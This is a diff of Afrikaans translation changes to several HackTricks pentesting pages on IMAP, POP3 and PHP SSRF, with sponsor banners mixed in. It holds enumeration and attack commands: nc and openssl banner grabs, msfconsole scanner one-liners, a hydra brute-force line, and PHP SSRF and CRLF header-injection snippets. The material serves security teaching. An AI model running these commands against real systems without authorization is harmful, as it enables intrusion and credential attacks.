The Internet Message Access Protocol (IMAP) is designed for the purpose of enabling users to access their email messages from any location, primarily through an Internet connection. In essence, emails are retained on a server rather than being downloaded and stored on an individual's personal device. This means that when an email is accessed or read, it is done directly from the server. This capability allows for the convenience of checking emails from multiple devices, ensuring that no messages are missed regardless of the device used.
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-imap
|
||||
|
||||
Inskrywing_2:
|
||||
Naam: Banner Grys
|
||||
Beskrywing: Banner Grys 143
|
||||
Opdrag: nc -nv {IP} 143
|
||||
Entry_2:
|
||||
Name: Banner Grab
|
||||
Description: Banner Grab 143
|
||||
Command: nc -nv {IP} 143
|
||||
|
||||
Inskrywing_3:
|
||||
Naam: Veilige Banner Grys
|
||||
Beskrywing: Banner Grys 993
|
||||
Opdrag: openssl s_client -connect {IP}:993 -quiet
|
||||
Entry_3:
|
||||
Name: Secure Banner Grab
|
||||
Description: Banner Grab 993
|
||||
Command: openssl s_client -connect {IP}:993 -quiet
|
||||
|
||||
Inskrywing_4:
|
||||
Naam: mfs opsporing sonder die nodigheid om msfconsole te hardloop
|
||||
Beskrywing: IMAP opsporing sonder die nodigheid om msfconsole te hardloop
|
||||
Nota: afkomstig van https://github.com/carlospolop/legion
|
||||
Opdrag: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {IP}; set RPORT 143; run; exit'
|
||||
Entry_4:
|
||||
Name: consolesless mfs enumeration
|
||||
Description: IMAP enumeration without the need to run msfconsole
|
||||
Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {IP}; set RPORT 143; run; exit'
|
||||
```
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Find vulnerabilities that matter most so you can fix them faster. Intruder tracks your attack surface, runs proactive threat scans, finds issues across your whole tech stack, from APIs to web apps and cloud systems. [**Try it for free**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) today.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,45 +2,28 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks-repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks-klere**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
**Post Office Protocol (POP)** word beskryf as 'n protokol binne die domein van rekenaarnetwerke en die internet, wat gebruik word vir die onttrekking en **herwinning van e-pos van 'n afgeleë posdiensbediener**, sodat dit toeganklik is op die plaaslike toestel. Geplaas binne die toepassingslaag van die OSI-model, maak hierdie protokol dit moontlik vir gebruikers om e-pos op te haal en te ontvang. Die werking van **POP-kliënte** behels tipies die vestiging van 'n verbinding met die posdiensbediener, aflaai van alle boodskappe, stoor van hierdie boodskappe lokaal op die kliëntstelsel, en dit daarna van die bediener verwyder. Alhoewel daar drie iterasies van hierdie protokol is, steek **POP3** uit as die mees algemeen gebruikte weergawe.
|
||||
|
||||
**Postkantoorprotokol (POP)** word beskryf as 'n protokol binne die domein van rekenaarnetwerke en die internet, wat gebruik word vir die onttrekking en **herwinning van e-pos vanaf 'n afgeleë posbusbediener**, sodat dit toeganklik is op die plaaslike toestel. Geplaas binne die aansoeklaag van die OSI-model, maak hierdie protokol dit moontlik vir gebruikers om e-pos te haal en te ontvang. Die werking van **POP-kliënte** behels tipies die vestiging van 'n verbinding met die posbusbediener, die aflaai van alle boodskappe, die plaaslike stoor van hierdie boodskappe op die kliëntstelsel, en dit daarna van die bediener verwyder. Alhoewel daar drie iterasies van hierdie protokol is, steek **POP3** uit as die mees algemeen gebruikte weergawe.
|
||||
|
||||
**Verstekpoorte:** 110, 995(ssl)
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
110/tcp open pop3
|
||||
```
|
||||
## Opsomming
|
||||
|
||||
### Banner Gaping
|
||||
|
||||
Banner Gaping is 'n tegniek wat gebruik word om inligting oor 'n POP-diens te verkry deur die banner te ondersoek wat deur die diens teruggestuur word. Dit kan gedoen word deur 'n eenvoudige TCP-verbinding na die POP-diens te maak en die banner te lees wat deur die diens teruggestuur word. Die banner bevat dikwels nuttige inligting soos die diens se weergawe en die gebruikte sagteware.
|
||||
|
||||
Om banner gaping uit te voer, kan jy 'n hulpmiddel soos `telnet` gebruik om 'n TCP-verbinding na die POP-diens te maak en die banner te lees wat deur die diens teruggestuur word. Byvoorbeeld:
|
||||
|
||||
```plaintext
|
||||
telnet <target_ip> 110
|
||||
```
|
||||
|
||||
Nadat jy die verbinding gemaak het, sal jy die banner sien wat deur die POP-diens teruggestuur word. Hierdie banner kan nuttige inligting verskaf wat jy kan gebruik om verdere aanvalle uit te voer of om die POP-diens te identifiseer.
|
||||
```bash
|
||||
nc -nv <IP> 110
|
||||
openssl s_client -connect <IP>:995 -crlf -quiet
|
||||
|
@ -49,15 +32,15 @@ openssl s_client -connect <IP>:995 -crlf -quiet
|
|||
|
||||
Jy kan die opdrag `CAPA` gebruik om die vermoëns van die POP3-bediener te verkry.
|
||||
|
||||
## Geoutomatiseerd
|
||||
## Outomaties
|
||||
```bash
|
||||
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
|
||||
```
|
||||
Die `pop3-ntlm-info` invoegtoepassing sal sekere "**sensitiewe**" data (Windows-weergawes) teruggee.
|
||||
Die `pop3-ntlm-info` invoegtoepassing sal enkele "**sensitiewe**" data (Windows weergawes) teruggee.
|
||||
|
||||
### [POP3 bruteforce](../generic-methodologies-and-resources/brute-force.md#pop)
|
||||
|
||||
## POP sintaksis
|
||||
## POP sintaks
|
||||
|
||||
POP-opdragvoorbeelde van [hier](http://sunnyoasis.com/services/emailviatelnet.html)
|
||||
```bash
|
||||
|
@ -73,61 +56,27 @@ QUIT Logout (expunges messages if no RSET)
|
|||
TOP msg n Show first n lines of message number msg
|
||||
CAPA Get capabilities
|
||||
```
|
||||
### POP (Post Office Protocol)
|
||||
### Post Office Protocol (POP)
|
||||
|
||||
POP (Post Office Protocol) is a protocol used by email clients to retrieve email messages from a mail server. It is one of the most common protocols used for email retrieval.
|
||||
POP is a protocol used by email clients to retrieve emails from a remote server. Here are some common security issues to look out for when pentesting POP:
|
||||
|
||||
#### POP3
|
||||
- **Weak Credentials**: Brute force attacks can be used to crack weak passwords used for POP accounts.
|
||||
- **Cleartext Authentication**: POP transmits credentials in cleartext, making them vulnerable to interception.
|
||||
- **No Encryption**: Lack of encryption in POP communications can expose sensitive information to eavesdropping.
|
||||
- **User Enumeration**: Attackers can enumerate valid users through POP responses, aiding in further attacks.
|
||||
- **Open Relay**: Misconfigured POP servers may allow unauthorized users to relay emails through the server.
|
||||
- **Denial of Service**: POP servers can be targeted with DoS attacks, disrupting email services for users.
|
||||
|
||||
POP3 (Post Office Protocol version 3) is the most widely used version of POP. It operates on port 110 and uses a simple text-based protocol.
|
||||
### Pentesting POP
|
||||
|
||||
##### Enumeration
|
||||
During a POP pentest, you can perform the following tasks:
|
||||
|
||||
To enumerate users on a POP3 server, you can use the `USER` command followed by a username. If the server responds with an error message, it means that the user does not exist. If the server responds with a positive message, it means that the user exists.
|
||||
|
||||
```
|
||||
USER <username>
|
||||
```
|
||||
|
||||
##### Brute-Force Attack
|
||||
|
||||
To perform a brute-force attack on a POP3 server, you can use a tool like Hydra. Hydra is a powerful tool that can perform dictionary and brute-force attacks against various protocols, including POP3.
|
||||
|
||||
```
|
||||
hydra -L <userlist> -P <passwordlist> -s <port> -f <target> pop3
|
||||
```
|
||||
|
||||
##### Password Spraying
|
||||
|
||||
Password spraying is a technique used to bypass account lockouts by attempting a small number of commonly used passwords against multiple user accounts. This technique can be effective against POP3 servers that do not have account lockout policies in place.
|
||||
|
||||
##### Exploiting Vulnerabilities
|
||||
|
||||
There are several vulnerabilities that can be exploited in POP3 servers, such as buffer overflows, command injection, and format string vulnerabilities. Exploiting these vulnerabilities can allow an attacker to gain unauthorized access to the server or execute arbitrary code.
|
||||
|
||||
#### POP3S
|
||||
|
||||
POP3S (Secure POP3) is a secure version of POP3 that uses SSL/TLS encryption to secure the communication between the email client and the mail server. It operates on port 995.
|
||||
|
||||
##### Enumeration
|
||||
|
||||
The enumeration techniques for POP3S are the same as for POP3. However, since POP3S uses SSL/TLS encryption, you will need to use a tool like `openssl` to establish a secure connection to the server.
|
||||
|
||||
```
|
||||
openssl s_client -connect <target>:<port>
|
||||
```
|
||||
|
||||
##### Brute-Force Attack
|
||||
|
||||
The brute-force attack techniques for POP3S are the same as for POP3. However, since POP3S uses SSL/TLS encryption, you will need to use a tool like `openssl` to establish a secure connection to the server.
|
||||
|
||||
##### Password Spraying
|
||||
|
||||
The password spraying techniques for POP3S are the same as for POP3. However, since POP3S uses SSL/TLS encryption, you will need to use a tool like `openssl` to establish a secure connection to the server.
|
||||
|
||||
##### Exploiting Vulnerabilities
|
||||
|
||||
The vulnerability exploitation techniques for POP3S are the same as for POP3. However, since POP3S uses SSL/TLS encryption, you will need to use a tool like `openssl` to establish a secure connection to the server.
|
||||
- **Brute Force Attacks**: Test for weak passwords by conducting brute force attacks on POP accounts.
|
||||
- **Packet Sniffing**: Use tools like Wireshark to capture and analyze POP traffic for cleartext credentials.
|
||||
- **Encryption Testing**: Verify if POP communications are encrypted using tools like SSL Labs.
|
||||
- **User Enumeration**: Enumerate users through POP commands to identify potential targets for attacks.
|
||||
- **Relay Testing**: Check for open relay vulnerabilities by attempting to relay emails through the POP server.
|
||||
- **DoS Testing**: Assess the resilience of POP servers against DoS attacks using tools like LOIC.
|
||||
```
|
||||
root@kali:~# telnet $ip 110
|
||||
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
|
||||
|
@ -154,15 +103,15 @@ password: PA$$W0RD!Z
|
|||
```
|
||||
## Gevaarlike Instellings
|
||||
|
||||
Vanaf [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
|
||||
Van [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
|
||||
|
||||
| **Instelling** | **Beskrywing** |
|
||||
| ------------------------- | ----------------------------------------------------------------------------------------------- |
|
||||
| `auth_debug` | Stel alle verifikasie foutopsporingslogging in. |
|
||||
| `auth_debug_passwords` | Hierdie instelling pas log-verdowwing toe, die ingedien wagwoorde en die skema word gelog. |
|
||||
| ------------------------- | ----------------------------------------------------------------------------------------- |
|
||||
| `auth_debug` | Stel alle verifikasie foutopsporing in. |
|
||||
| `auth_debug_passwords` | Hierdie instelling pas log-verstommendheid aan, die ingedien wagwoorde en die skema word gelog. |
|
||||
| `auth_verbose` | Log onsuksesvolle verifikasiepogings en hul redes. |
|
||||
| `auth_verbose_passwords` | Wagwoorde wat vir verifikasie gebruik word, word gelog en kan ook afgekort word. |
|
||||
| `auth_anonymous_username` | Dit spesifiseer die gebruikersnaam wat gebruik moet word wanneer daar met die ANONYMOUS SASL-meganisme ingeteken word. |
|
||||
| `auth_verbose_passwords` | Wagwoorde wat vir verifikasie gebruik word, word gelog en kan ook afgekap word. |
|
||||
| `auth_anonymous_username` | Hierdie spesifiseer die gebruikersnaam wat gebruik moet word wanneer ingeteken word met die ANONYMOUS SASL-meganisme. |
|
||||
|
||||
## HackTricks Outomatiese Opdragte
|
||||
```
|
||||
|
@ -207,18 +156,16 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
|
|||
```
|
||||
<details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
<img src="../.gitbook/assets/image (675).png" alt="" data-size="original">
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regmaak. Intruder spoor jou aanvalsoppervlak op, hardloop proaktiewe dreigingsskanderings, vind probleme regoor jou hele tegnologie stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) uit.
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegramgroep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,25 +6,17 @@
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
### SSRF PHP funksies
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
### SSRF PHP-funksies
|
||||
|
||||
Sommige funksies soos _**file\_get\_contents(), fopen(), file(), md5\_file()**aanvaar URL's as insette wat hulle sal volg en **moontlike SSRF-kwesbaarhede** kan veroorsaak as die gebruiker die data kan beheer:
|
||||
Sommige funksies soos **file\_get\_contents(), fopen(), file(), md5\_file()** aanvaar URL's as insette wat hulle sal volg en maak **moontlike SSRF-gebreke** moontlik as die gebruiker die data kan beheer:
|
||||
```php
|
||||
file_get_contents("http://127.0.0.1:8081");
|
||||
fopen("http://127.0.0.1:8081", "r");
|
||||
|
@ -33,7 +25,7 @@ md5_file("http://127.0.0.1:8081");
|
|||
```
|
||||
### CRLF
|
||||
|
||||
Verder, in sommige gevalle is dit selfs moontlik om arbitrêre koppe via CRLF "kwesbaarhede" in die vorige funksies te stuur:
|
||||
Verder, in sommige gevalle kan dit selfs moontlik wees om arbitrêre koppe via CRLF "kwesbaarhede" in die vorige funksies te stuur:
|
||||
```php
|
||||
# The following will create a header called from with value Hi and
|
||||
# an extra header "Injected: I HAVE IT"
|
||||
|
@ -49,10 +41,10 @@ Connection: close
|
|||
# Any of the previously mentioned functions will send those headers
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Vir meer inligting oor daardie CRLF kwesbaarheid, kyk na hierdie fout [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
|
||||
Vir meer inligting oor daardie CRLF-fout, kyk na hierdie fout [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1)
|
||||
{% endhint %}
|
||||
|
||||
Let daarop dat hierdie funksie ander metodes kan hê om willekeurige koppe in versoeke te stel, soos:
|
||||
Merk op dat hierdie funksie moontlik ander metodes het om arbitrêre koppe in versoeke in te stel, soos:
|
||||
```php
|
||||
$url = "";
|
||||
|
||||
|
@ -68,23 +60,16 @@ $options = array(
|
|||
$context = stream_context_create($options);
|
||||
$file = file_get_contents($url, false, $context);
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
<besonderhede>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<opsomming><sterk>Leer AWS-hacking vanaf nul tot held met</sterk> <a href="https://training.hacktricks.xyz/courses/arte"><sterk>htARTE (HackTricks AWS Red Team Expert)</sterk></a><sterk>!</sterk></opsomming>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
</besonderhede>
|
||||
|
|
|
@ -2,27 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Werk jy by 'n **cybersekerheidsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks-repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
